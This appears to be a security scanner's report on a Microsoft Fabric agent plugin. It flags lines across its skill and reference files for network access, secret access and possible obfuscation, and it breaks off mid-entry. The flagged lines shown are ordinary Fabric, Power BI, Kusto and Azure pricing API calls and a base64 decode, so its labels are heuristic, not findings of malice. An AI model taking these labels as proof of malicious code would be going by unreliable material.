  • Network accessline 51
    > ```bash > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli" > jq --version 2>/dev/null || echo "INSTALL: apt-get install jq OR brew install jq"
  • Network accessline 52
    > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli"
  • Network accessline 62
    | API | Audience (`--resource`) | Use For | |---|---|---| | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery |
  • Network accessline 63
    |---|---|---| | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery | | **Power BI REST API** | `https://analysis.windows.net/powerbi/api` | Gen1 dataflow discovery, `saveAsNa
  • Network accessline 64
    | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery |
  • Network accessline 65
    | **Power BI REST API** | `https://analysis.windows.net/powerbi/api` | Gen1 dataflow discovery, `saveAsNativeArtifact`, data sources, upstream dataflows, Admin API scanning |
  • Network accessline 68
    # Fabric Items API — list Gen2 dataflows in a workspace az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 69
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 70
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 71
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows"
  • Network accessline 73
    # Power BI REST API — list all dataflows (Gen1 + Gen2) in a workspace az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 74
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 75
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 76
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows"
  • Network accessline 78
    # Power BI Admin API — list all dataflows tenant-wide (requires admin role) az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 79
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 80
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 81
    --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows"
  • Network accessline 106
    WS_ID="<workspaceId>" RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 107
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 110
    ALL_DATAFLOWS=$(az rest --method get \   --resource "$RESOURCE_PBI" \   --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \
  • Network accessline 111
    --resource "$RESOURCE_PBI" \   --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \   --query "value[].{id:objectId, name:name, generation:generation, modelUrl:modelUrl, configuredBy:configuredBy}" -o json)
  • Network accessline 112
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \
  • Network accessline 129
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 132
    ADMIN_DATAFLOWS=$(az rest --method get \   --resource "$RESOURCE_PBI" \   --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \
  • Network accessline 133
    --resource "$RESOURCE_PBI" \   --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \   --query "value[].{id:objectId, name:name, workspaceId:workspaceId, modelUrl:modelUrl, configuredBy:configuredBy}" \
  • Network accessline 134
    --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \
  • Network accessline 215
    POST https://api.powerbi.com/v1.0/myorg/groups/{groupId}/dataflows/{gen1DataflowId}/saveAsNativeArtifact
  • Network accessline 235
    az rest --method post \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 236
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 237
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$GEN1_ID/saveAsNativeArtifact" \
  • Network accessline 329
    # Step 1 — Resolve workspace ID WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 330
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 331
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 332
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 335
    # Step 2 — List all dataflows with generation property ALL_DFS=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 336
    ALL_DFS=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 337
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 338
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" -o json)
  • Network accessline 363
    # Execute save-as RESPONSE=$(az rest --method post \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 364
    RESPONSE=$(az rest --method post    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 365
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 366
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$GEN1_ID/saveAsNativeArtifact" \
  • Network accessline 385
    # Requires Fabric administrator role ALL_DFS=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 386
    ALL_DFS=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 387
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 388
    --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" -o json)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade/risk-assessment-guide.md

  • Network accessline 36
    # Export the full definition and check for PPI config DEFINITION=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 37
    DEFINITION=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 38
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 39
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json)
  • Network accessline 65
    # From List Dataflows response — check modelUrl az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 66
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 67
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 68
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \
  • Network accessline 77
    # Using Admin API — tenant-wide BYOSA detection az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 78
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 79
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 80
    --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \
  • Network accessline 108
    # Check transaction history for externally triggered refreshes az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 109
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 110
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 111
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID/transactions" \
  • Network accessline 135
    # List pipelines in the workspace PIPELINES=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 136
    PIPELINES=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 137
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 138
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataPipelines" \
  • Network accessline 165
    # Check upstream dataflow dependencies UPSTREAM=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 166
    UPSTREAM=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 167
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 168
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID/upstreamDataflows" -o json)
  • Network accessline 174
    # Also check the definition for entity references DEFINITION=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 175
    DEFINITION=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 176
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 177
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json)
  • Network accessline 204
    # Export the definition and check partition modes DEFINITION=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 205
    DEFINITION=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 206
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 207
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade/upgrade-cli-quickref.md

  • Network accessline 10
    # Set API audiences RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 11
    RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 12
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 13
    API_FABRIC="https://api.fabric.microsoft.com/v1"
  • Network accessline 14
    API_PBI="https://api.powerbi.com/v1.0/myorg"
  • Network accessline 249
    [Credential-related source omitted]
  • Network accessline 250
    [Credential-related source omitted]
  • Network accessline 251
    $workspaces = Invoke-RestMethod -Uri "https://api.fabric.microsoft.com/v1/workspaces" -Headers $headers
  • Network accessline 253
    [Credential-related source omitted]
  • Network accessline 254
    [Credential-related source omitted]
  • Network accessline 255
    $dataflows = Invoke-RestMethod -Uri "https://api.powerbi.com/v1.0/myorg/groups/$wsId/dataflows" -Headers $pbiHeaders

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/SKILL.md

  • Network accessline 36
    |---|---|---| | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs by name via li
  • Network accessline 37
    | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs by name via list + JMESPath 
  • Network accessline 38
    | Authentication & Token Acquisition | [COMMON-CORE.md § Authentication & Token Acquisition](../../common/COMMON-CORE.md#authentication--token-acquisition) | Token audience must be `https://api.fabric.microsoft.com`; wrong audience = 401 |
  • Network accessline 39
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Pla
  • Network accessline 40
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** |
  • Network accessline 78
    ### MUST DO - Resolve pipeline, stage, and workspace **IDs by name** via list + JMESPath before any mutating call. Never fabricate GUIDs. - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a
  • Network accessline 79
    - Resolve pipeline, stage, and workspace **IDs by name** via list + JMESPath before any mutating call. Never fabricate GUIDs. - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a token for t
  • Network accessline 80
    - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a token for the `https://api.fabric.microsoft.com` audience.
  • Network accessline 114
    Base: `https://api.fabric.microsoft.com/v1`. Delegated scopes are **per operation** — provision a service
  • Network accessline 246
    - **The operation ID is returned in the `x-ms-operation-id` response header** (alongside `Location`), not the   `202` body. `az rest` does not surface response headers cleanly — for reliable header capture in automation,   issue the deploy 
  • Network accessline 247
    `202` body. `az rest` does not surface response headers cleanly — for reliable header capture in automation,   issue the deploy with `curl -i` (or Python `requests`) and parse the header, then poll   `/v1/operations/{operationId}` with `az 
  • Network accessline 248
    issue the deploy with `curl -i` (or Python `requests`) and parse the header, then poll
  • Network accessline 266
    # Idempotent: delete an existing "Sales Analytics ALM" if present, then create. EXISTING=$(az rest --method GET --resource https://api.fabric.microsoft.com \
  • Network accessline 267
    EXISTING=$(az rest --method GET --resource https://api.fabric.microsoft.com \
  • Network accessline 268
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines" \
  • Network accessline 269
    --query "value[?displayName=='Sales Analytics ALM'].id | [0]" --output tsv) if [ -n "$EXISTING" ]; then   az rest --method DELETE --resource https://api.fabric.microsoft.com \
  • Network accessline 271
    az rest --method DELETE --resource https://api.fabric.microsoft.com \
  • Network accessline 272
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$EXISTING"
  • Network accessline 285
    EOF az rest --method POST \   --resource https://api.fabric.microsoft.com \
  • Network accessline 286
    az rest --method POST    --resource https://api.fabric.microsoft.com
  • Network accessline 287
    --resource https://api.fabric.microsoft.com \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines" \
  • Network accessline 295
    # $PIPELINE_ID and $DEV_STAGE_ID resolved via list + JMESPath; $WS_ID resolved from workspace name. az rest --method POST \   --resource https://api.fabric.microsoft.com \
  • Network accessline 296
    az rest --method POST    --resource https://api.fabric.microsoft.com
  • Network accessline 297
    --resource https://api.fabric.microsoft.com \
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$DEV_STAGE_ID/assignWorkspace" \
  • Network accessline 305
    # Kick off the deployment (returns 202 + an operation id header). az rest --method POST \   --resource https://api.fabric.microsoft.com \
  • Network accessline 306
    az rest --method POST    --resource https://api.fabric.microsoft.com
  • Network accessline 307
    --resource https://api.fabric.microsoft.com \
  • Network accessline 308
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \
  • Network accessline 318
    az rest --method POST \   --resource https://api.fabric.microsoft.com \
  • Network accessline 319
    --resource https://api.fabric.microsoft.com \
  • Network accessline 320
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \
  • Network accessline 336
    #    and its paired targetItemId (absent = new/unpaired). There is NO timestamp or #    change-status field, so "changed" must be detected from item definitions. az rest --method GET --resource https://api.fabric.microsoft.com \
  • Network accessline 337
    #    change-status field, so "changed" must be detected from item definitions. az rest --method GET --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$SOURCE_S
  • Network accessline 338
    az rest --method GET --resource https://api.fabric.microsoft.com \
  • Network accessline 339
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$SOURCE_STAGE_ID/items" \
  • Network accessline 361
    # 4. Selective deploy of just the changed set. az rest --method POST --resource https://api.fabric.microsoft.com \
  • Network accessline 362
    az rest --method POST --resource https://api.fabric.microsoft.com \
  • Network accessline 363
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/references/scripts/diff_item_definitions.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 105
    data = base64.b64decode(payload, validate=True)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/references/supported-item-types.md

  • Network accessline 7
    - **Canonical source (source of truth):** [Introduction to deployment pipelines § Supported items](https://learn.microsoft.com/fabric/cicd/deployment-pipelines/intro-to-deployment-pipelines#supported-items)   on Microsoft Learn. Reconcile t
  • Network accessline 16
    > **Retirement note:** Beginning **February 12, 2026**, deployment pipelines retire > support for semantic models that have **not** been upgraded to Enhanced Metadata. > See [Retirement of semantic model support](https://learn.microsoft.com
  • Network accessline 18
    > See [Retirement of semantic model support](https://learn.microsoft.com/fabric/cicd/troubleshoot-cicd#retirement-of-semantic-model-support-for-deployment-pipelines).

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/SKILL.md

  • Network accessline 26
    > **🔴 MANDATORY LIVE-PRICING FETCH — whenever your answer contains a dollar figure.** > Before presenting **any** dollar amount, cost, break-even point, billing-mode comparison, RI-vs-PAYG analysis, migration cost, or cost worksheet, you **
  • Network accessline 27
    > Before presenting **any** dollar amount, cost, break-even point, billing-mode comparison, RI-vs-PAYG analysis, migration cost, or cost worksheet, you **must** run a shell command (`bash`/`powershell`) that calls the Azure Retail Prices AP
  • Network accessline 87
    If the customer already has a Fabric capacity, get its region, SKU, and state from the core Fabric REST API — `GET https://api.fabric.microsoft.com/v1/capacities` returns `region`, `sku`, and `state` per capacity. Azure Resource Manager (`a
  • Network accessline 96
    curl -s "https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview&\$filter=serviceName%20eq%20'Microsoft%20Fabric'%20and%20armRegionName%20eq%20'<region>'" | jq '.Items[] | {meterName, retailPrice, unitOfMeasure, type, rese
  • Network accessline 128
    > **IMPORTANT**: If the API is unreachable, inform the user and direct them to the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/). Never fall back to hardcoded prices — they go stale.
  • Network accessline 148
    > **Documented conversion**: **1 Fabric CU = 2 Spark vCores** ([Fabric Spark concurrency limits](https://learn.microsoft.com/en-us/fabric/data-engineering/spark-job-concurrency-and-queueing)). So a node's CU equivalent is `vCores ÷ 2`. The 
  • Network accessline 387
    curl -s "https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview&\$filter=serviceName%20eq%20'Microsoft%20Fabric'%20and%20armRegionName%20eq%20'<region>'%20and%20meterName%20eq%20'autoscale%20for%20Spark%20Capacity%20Usage

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/resources/pricing-api-reference.md

  • Network accessline 11
    **Base URL**: `https://prices.azure.com/api/retail/prices`
  • Network accessline 47
    $allItems = @() $url = "https://prices.azure.com/api/retail/prices?`$filter=serviceName eq 'Microsoft Fabric'"
  • Network accessline 48
    $url = "https://prices.azure.com/api/retail/prices?`$filter=serviceName eq 'Microsoft Fabric'"
  • Network accessline 86
    $filter = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region' and meterName eq 'OneLake Storage $tier Data Stored'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=
  • Network accessline 87
    $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $storagePrice = (Invoke-RestMethod -Uri $url -MaximumRetryCount 3 -RetryIntervalSec 5).Items |
  • Network accessline 88
    $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter"
  • Network accessline 93
    Write-Warning "No row for tier '$tier' in $region — listing all OneLake storage meters:"   $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'"   $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDa
  • Network accessline 94
    $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'"   $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))"   (Invoke-RestMethod -Uri $u -MaximumRetryCount 3 -RetryIntervalSec 5).Items
  • Network accessline 95
    $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))"
  • Network accessline 107
    $filter = "serviceName eq 'Bandwidth' and armRegionName eq '$region' and meterName eq 'Standard Data Transfer Out'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter
  • Network accessline 108
    $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $egressItems = (Invoke-RestMethod -Uri $url).Items |
  • Network accessline 109
    $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter"
  • Network accessline 119
    $filter = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region' and meterName eq 'autoscale for Spark Capacity Usage CU'" $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$fil
  • Network accessline 120
    $encodedFilter = [uri]::EscapeDataString($filter) $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter" $sparkRate = (Invoke-RestMethod -Uri $url -MaximumRetryCount 3 -RetryIntervalSec 5).Items |
  • Network accessline 121
    $url = "https://prices.azure.com/api/retail/prices?`$filter=$encodedFilter"
  • Network accessline 126
    Write-Warning "No autoscale Spark meter for $region — listing all Fabric Spark/capacity meters:"     $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'"     $u = "https://prices.azure.com/api/retail/prices?`$filter=$([ur
  • Network accessline 127
    $f = "serviceName eq 'Microsoft Fabric' and armRegionName eq '$region'"     $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))"     (Invoke-RestMethod -Uri $u -MaximumRetryCount 3 -RetryIntervalSec 5).I
  • Network accessline 128
    $u = "https://prices.azure.com/api/retail/prices?`$filter=$([uri]::EscapeDataString($f))"
  • Network accessline 141
    **Base URL**: `https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.CostManagement/query`
  • Network accessline 143
    **Auth**: See [COMMON-CLI.md](../../../common/COMMON-CLI.md) — use `az rest` with `--resource https://management.azure.com`
  • Network accessline 240
    # 3. Submit query az rest --method post `   --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" `
  • Network accessline 241
    az rest --method post    --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01"
  • Network accessline 242
    --url "https://management.azure.com/subscriptions/$subscriptionId/providers/Microsoft.CostManagement/query?api-version=2025-03-01" `
  • Network accessline 261
    # https://learn.microsoft.com/en-us/rest/api/fabric/core/capacities/list-capacities
  • Network accessline 262
    az rest --method get --resource https://api.fabric.microsoft.com `
  • Network accessline 263
    --url "https://api.fabric.microsoft.com/v1/capacities" `
  • Network accessline 275
    **Fabric Admin API (tenant-wide inventory / admin-only operations)** - Base URL: `https://api.fabric.microsoft.com/v1/admin/capacities`
  • Network accessline 276
    - Base URL: `https://api.fabric.microsoft.com/v1/admin/capacities`
  • Network accessline 277
    - Auth: See [COMMON-CLI.md](../../../common/COMMON-CLI.md) — use `az rest` with `--resource https://api.fabric.microsoft.com`
  • Network accessline 308
    > **⚠<U+FE0F> Unvalidated heuristics**: These are community-derived approximations, not officially published Microsoft equivalences. The Power BI P-SKU → CU mapping is based on the [published Fabric capacity equivalents](https://learn.microsoft.co
  • Network accessline 329
    | **Azure** (Synapse, HDInsight, Azure Databricks infra, Power BI) | Azure Retail Prices API — anonymous (§1) | Azure Cost Management API (§2) | | **AWS** (Redshift, EMR, EC2, S3) | AWS Price List **Bulk** API — anonymous; or **Query** API 
  • Network accessline 330
    | **AWS** (Redshift, EMR, EC2, S3) | AWS Price List **Bulk** API — anonymous; or **Query** API (creds) | AWS Cost Explorer / Cost & Usage Report | | **Databricks** (any cloud — DBU) | **No public price API** — DBU list prices on the [Databr
  • Network accessline 331
    | **Databricks** (any cloud — DBU) | **No public price API** — DBU list prices on the [Databricks pricing page](https://www.databricks.com/product/pricing) | `system.billing.usage` joined with `system.billing.list_prices` (Unity Catalog sys
  • Network accessline 339
    # 1. Service offer index (lists every service offer file) GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json
  • Network accessline 340
    GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/index.json
  • Network accessline 342
    # 2. Current price file for a specific service (e.g., Redshift, EMR, EC2) GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRedshift/current/index.json
  • Network accessline 343
    GET https://pricing.us-east-1.amazonaws.com/offers/v1.0/aws/AmazonRedshift/current/index.json
  • Network accessline 360
    # List billable services to find a service ID (e.g., BigQuery, Dataproc) GET https://cloudbilling.googleapis.com/v1/services?key=<API_KEY>
  • Network accessline 361
    [Credential-related source omitted]
  • Access to secretsline 361
    [Credential-related source omitted]
  • Network accessline 363
    # List SKUs (unit prices) for a service GET https://cloudbilling.googleapis.com/v1/services/{serviceId}/skus?key=<API_KEY>
  • Network accessline 364
    [Credential-related source omitted]
  • Access to secretsline 364
    [Credential-related source omitted]

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-medallion-architecture/SKILL.md

  • Network accessline 177
    - **OneLake Shortcut** — for data already in Azure ADLS Gen2, S3, or another OneLake location    - **`notebookutils.fs`** — copy from mounted storage paths within a notebook    - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs*
  • Network accessline 178
    - **`notebookutils.fs`** — copy from mounted storage paths within a notebook    - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs** — `spark.read.format("csv").load("https://...")` will fail 2. **Read from lakehouse path**: Onc
  • Network accessline 179
    - ⚠<U+FE0F> **Fabric Spark cannot read from arbitrary HTTP/HTTPS URLs** — `spark.read.format("csv").load("https://...")` will fail
  • Network accessline 320
    {"displayName": "sales-analytics-dev"} EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 321
    EOF workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 322
    workspace_id=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 323
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 328
    {"displayName": "sales_bronze", "type": "Lakehouse"} EOF az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 329
    EOF az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \
  • Network accessline 330
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 331
    --url "https://api.fabric.microsoft.com/v1/workspaces/$workspace_id/items" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/authoring.md

  • Network accessline 29
    | Tool Selection Rationale | [COMMON-CLI.md § Tool Selection Rationale](../../../common/COMMON-CLI.md#tool-selection-rationale) | | | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentica
  • Network accessline 30
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-
  • Network accessline 31
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** or `az res
  • Network accessline 87
    WS_ID="<workspace-id>" az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 88
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases"
  • Network accessline 89
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/kqlDatabases" \
  • Network accessline 90
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 101
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 102
    --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 103
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 136
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 137
    --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 138
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 199
    cat > /tmp/kql_body.json << EOF {"db":"${DB}","csl":".ingest into table Events (h'https://mystorage.blob.core.windows.net/data/events.csv.gz;impersonate') with (format='csv', ingestionMappingReference='EventsCsvMapping', ignoreFirstRecord=t
  • Network accessline 200
    {"db":"${DB}","csl":".ingest into table Events (h'https://mystorage.blob.core.windows.net/data/events.csv.gz;impersonate') with (format='csv', ingestionMappingReference='EventsCsvMapping', ignoreFirstRecord=true)"}
  • Network accessline 330
    az rest --method POST      --url "${CLUSTER_URI}/v1/rest/mgmt"      --resource "https://kusto.kusto.windows.net"
  • Network accessline 332
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 345
    az rest --method POST \   --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \
  • Network accessline 346
    --url "${CLUSTER_URI}/v1/rest/mgmt" \   --resource "https://kusto.kusto.windows.net" \   --headers "Content-Type=application/json" \
  • Network accessline 347
    --resource "https://kusto.kusto.windows.net" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/eventhouse-cli/references/authoring/authoring-script-templates.md

  • Network accessline 22
    az rest --method POST      --url "${CLUSTER_URI}/v1/rest/mgmt"      --resource "https://kusto.kusto.windows.net"
  • Network accessline 24
    --resource "https://kusto.kusto.windows.net" \
  • Network accessline 49
